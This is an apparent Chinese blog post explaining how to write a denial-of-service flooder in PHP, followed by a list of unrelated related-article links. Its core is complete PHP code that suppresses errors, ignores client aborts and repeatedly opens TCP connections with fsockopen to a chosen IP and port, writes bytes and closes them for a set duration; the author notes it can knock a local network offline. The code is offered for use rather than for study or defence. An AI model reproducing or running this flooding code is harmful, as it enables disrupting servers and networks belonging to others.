DDOS全名是Distributed Denial of service (分布式拒绝服务攻击),很多DOS攻击源一起攻击某台服务器就组成了DDOS攻击。

这些东西貌似应该是C和C++或者其他什么东西搞出来的。

PHP可以吗?值得怀疑……

事实证明可以,不过有点儿打折,因为,攻击程序是单点对单点的不是分布式的,所以明确一点儿说应该是dos 拒绝服务攻击。

PHP的底层是C,同时PHP中提供了socket接口,有了这些东西,也就完成了ddos攻击的条件之一,可以用服务器来不停的向攻击目标发起连接,然后写入无意义的字节。

连接函数是fsockopen();这里我们传值”tcp://$ip”,端口,错误号和错误信息,最后一个参数写0,然后可以获得句柄。

通过fwrite不停的想连接中写入字节,然后关闭连接。

如此循环,直到一定的时间。

详细代码如下:

function ddos($ip='127.0.0.1',$port=80,$errorno=0,$errstr='',$time=30) {

error_reporting(0);

ignore_user_abort(TRUE);

$exec_time = time() + $time ;

$byte = 0;

while(1) {

$byte++;

if(time() > $exec_time) {

break;

}

$fp = fsockopen("tcp://$ip",$port,$errorno,$errstr,0);

if($fp) {

fwrite($fp,$byte);

fclose($fp);

}

}

}

ddos();

注意传值传IP,可能造成小范围内局域网不能上网。

php仿攻击,PHP写的仿DDOS攻击程序代码相关推荐

  1. 自己写个仿微博的表情包功能

    ** 自己写个仿微博的表情包功能 ** 前两天写微博系统尝试着写一个表情包系统如图所示: 主体思想是先把图片罗列出来,加上title和name属性,当点击图片时获取图片的name属性,附加在输入框文本 ...

  2. 2020年7月win32 C\C++ API 写的仿QQ截图功能

    2020年7月win32 C\C++ API 写的仿QQ截图功能 近日,经常用到截图,但是没有QQ没有微信 的电脑上,截图非常不方便,起初打算网上随便找个类似的就算了,但是找了一下午,发现都是些很基础 ...

  3. 自己动手写一个仿Docker虚拟容器

    自己动手写一个仿Docker虚拟容器 本项目参照书籍<自己动手写Docker> 作者:陈显鹭(花名:遥鹭)-阿里云高级研发工程师等 项目地址:https://gitee.com/Sheng ...

  4. android仿36氪轮播,仿36氪(附源代码)

    前言: 这是我2016年3月开始写的,利用课余时间全心投入的项目,本以为是凭着轻松愉悦的方式来学习的,中途遇到bug解决bug的时候,每天晚上几乎都是写到寝室关灯,还有一次使用Github不当写了五天 ...

  5. android 今日头条加载动画,Android 仿今日头条简单的刷新效果实例代码

    点击按钮,先自动进行下拉刷新,也可以手动刷新,刷新完后,最后就多一行数据.有四个选项卡. 前两天导师要求做一个给本科学生预定机房座位的app,出发点来自这里.做着做着遇到很多问题,都解决了.这个效果感 ...

  6. 防仿百度图片背景色php,基于jQuery实现仿百度首页换肤背景图片切换代码_jquery...

    不多说了,先给大家展示效果图,本文支持源码下载哦,需要的朋友可以直接下载使用,代码很简单哦- html代码: css代码: *{margin:0;padding:0} a{color:#fff; ma ...

  7. SlideSwitch仿iphone滑动开关组件,仿百度魔图滑动开关组件Android

    SlideSwitch 仿iphone滑动开关组件,仿百度魔图滑动开关组件 1.AndroidManifest.xml <?xml version="1.0" encodin ...

  8. android右滑返回动画,Android仿微信右滑返回功能的实例代码

    先上效果图,如下: 先分析一下功能的主要技术点,右滑即手势判断,当滑到一直距离时才执行返回,并且手指按下的位置是在屏幕的最左边(这个也是有一定范围的),  这些可以实现onTouchEvent来实现. ...

  9. HTML5期末大作业:仿唯品会购物网站设计——仿唯品会购物商城(5页) HTML+CSS+JavaScript 学生DW网页设计作业成品 商城网站设计

    HTML5期末大作业:仿唯品会购物网站设计--仿唯品会购物商城(5页) HTML+CSS+JavaScript 学生DW网页设计作业成品 商城网站设计 常见网页设计作业题材有 个人. 美食. 公司. ...

最新文章

  1. 腾讯微视:向前一步是悲壮,向后一步是绝望zz
  2. linux 查看ftp账户,linux的ftp服务之本地访问浏览与虚拟账户
  3. [Android]第四次作业
  4. left edge algorithm.
  5. 常见排序算法之冒泡排序
  6. 新后缀再开放,投资者应谨慎对待!
  7. 案例八:shell自动化管理账本脚本
  8. MD5算法之C#程序 MD5算法描述
  9. 初中在线测试软件,关注中学生 心理测试工具上线!
  10. poj 1904 King's Quest 强连通分量+匹配
  11. php如何设计一个网站,如何设计一个优质的外贸网站?
  12. 国外企业级区块链 联盟链
  13. Zynq7000硬件开发之电源供电系统(PDN)设计(一)
  14. 计算机专业能当电子厂技术员,我在一个机械工厂从事电气技术员的工作,谁能告诉..._电气工程师_帮考网...
  15. 新元宇宙奇科幻小说原创作品每周连载地球人奇游天球记第八回邂逅嫦娥
  16. 教大家强制退出id账号_今天教大家怎么用手机注册自媒体账号之企鹅号。
  17. 当程序员后,才突然明白的21件事……
  18. JavaScript聊天器
  19. 《新编计算机科学概论》一第0章 绪  论
  20. 354、什么是三网合一?三网合一如何建设

热门文章

  1. YOLO v4它来了:接棒者出现,速度效果双提升
  2. 手写 30 个主流机器学习算法,代码超 3 万行,全都开源了!
  3. Python 为什么要保留显式的 self ?
  4. 3.2亿人都在刷抖音,而优秀的人在看这几个公众号!
  5. GitHub超4.1万星,最全Python入门算法来了
  6. Redis中有序集合zset数据类型(增加(添加元素)、获取(获取指定范围元素、返回权值在min和max之间的成员、返回成员member的score值)、删除(删除指定元素和指定权值范围的元素))
  7. 解决 复制虚拟机无法上网 看不到IP地址
  8. ​卷积层和分类层,哪个更重要?
  9. 对抗图像和攻击在Keras和TensorFlow上的实现
  10. 【OpenCV 4开发详解】图像透视变换